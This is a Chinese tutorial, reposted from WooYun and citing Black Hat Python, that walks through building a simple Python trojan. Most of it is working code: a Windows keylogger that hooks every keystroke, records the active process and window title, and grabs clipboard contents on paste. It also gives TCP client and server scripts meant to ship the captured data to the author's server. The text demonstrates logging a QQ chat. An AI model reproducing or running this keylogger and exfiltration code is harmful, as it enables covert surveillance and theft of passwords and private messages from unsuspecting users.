转载来自: http://drops.wooyun.org/papers/4751?utm_source=tuicool
使用Python编写一个具有键盘记录、截屏以及通信功能的简易木马。
首先准备好我们需要的依赖库,python hook和pythoncom。
说起Keylogger,大家的思维可能早已飞向带有wifi功能的mini小硬件去了。抛开高科技,我们暂且回归本质,探探简易键盘记录器的原理与实现。
Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓“人生苦短,快用Python”。
1 # -*- coding: utf-8 -*- 2 from ctypes import * 3 import pythoncom 4 import pyHook 5 import win32clipboard 6 7 user32 = windll.user32 8 kernel32 = windll.kernel32 9 psapi = windll.psapi 10 current_window = None 11 12 # 13 def get_current_process(): 14 15 # 获取最上层的窗口句柄 16 hwnd = user32.GetForegroundWindow() 17 18 # 获取进程ID 19 pid = c_ulong(0) 20 user32.GetWindowThreadProcessId(hwnd,byref(pid)) 21 22 # 将进程ID存入变量中 23 process_id = "%d" % pid.value 24 25 # 申请内存 26 executable = create_string_buffer("x00"*512) 27 h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid) 28 29 psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) 30 31 # 读取窗口标题 32 windows_title = create_string_buffer("x00"*512) 33 length = user32.GetWindowTextA(hwnd,byref(windows_title),512) 34 35 # 打印 36 print 37 print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value) 38 print 39 40 # 关闭handles 41 kernel32.CloseHandle(hwnd) 42 kernel32.CloseHandle(h_process) 43 44 # 定义击键监听事件函数 45 def KeyStroke(event): 46 47 global current_window 48 49 # 检测目标窗口是否转移(换了其他窗口就监听新的窗口) 50 if event.WindowName != current_window: 51 current_window = event.WindowName 52 # 函数调用 53 get_current_process() 54 55 # 检测击键是否常规按键(非组合键等) 56 if event.Ascii > 32 and event.Ascii <127: 57 print chr(event.Ascii), 58 else: 59 # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来 60 if event.Key == "V": 61 win32clipboard.OpenClipboard() 62 pasted_value = win32clipboard.GetClipboardData() 63 win32clipboard.CloseClipboard() 64 print "[PASTE]-%s" % (pasted_value), 65 else: 66 print "[%s]" % event.Key, 67 # 循环监听下一个击键事件 68 return True 69 70 # 创建并注册hook管理器 71 kl = pyHook.HookManager() 72 kl.KeyDown = KeyStroke 73 74 # 注册hook并执行 75 kl.HookKeyboard() 76 pythoncom.PumpMessages()
【知识点】钩子(Hook):Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。
撸代码时一定要注意严格区分大小写。检查无误后启动keylogger:
切换窗口时会自动跟踪到新窗口(众:这点功能都没有还敢叫keylogger吗!),light教授趁机骚扰一下疯狗,可以看到我们的keylogger已经跟踪到QQ聊天窗口,并忠实的记录下我输入的一切。
完成一个简易木马
无论是keylogger记录下的内容,还是screenshotter截获的图片,只存在客户端是没有太大意义的,我们需要构建一个简单server和client端来进行通信,传输记录下的内容到我们的服务器上。
编写一个简单的TCPclient
1 # -*- coding: utf-8 -*- 2 import socket 3 4 # 目标地址IP/URL及端口 5 target_host = "127.0.0.1" 6 target_port = 9999 7 8 # 创建一个socket对象 9 client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 10 11 # 连接主机 12 client.connect((target_host,target_port)) 13 14 # 发送数据 15 client.send("GET / HTTP/1.1 HOST:127.0.0.1 ") 16 17 # 接收响应 18 response = client.recv(4096) 19 20 print response
编写一个简单的TCPserver
1 # -*- coding: utf-8 -*- 2 import socket 3 import threading 4 5 # 监听的IP及端口 6 bind_ip = "127.0.0.1" 7 bind_port = 9999 8 9 server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 10 11 server.bind((bind_ip,bind_port)) 12 13 server.listen(5) 14 15 print "[*] Listening on %s:%d" % (bind_ip,bind_port) 16 17 def handle_client(client_socket): 18 19 request = client_socket.recv(1024) 20 21 print "[*] Received:%s" % request 22 23 client_socket.send("ok!") 24 25 client_socket.close() 26 27 while True: 28 29 client,addr = server.accept() 30 31 print "[*] Accept connection from:%s:%d" % (addr[0],addr[1]) 32 33 client_handler = threading.Thread(target=handle_client,args=(client,)) 34 35 client_handler.start()
开启服务端监听 客户端执行
参考文档:
《Black Hat Python》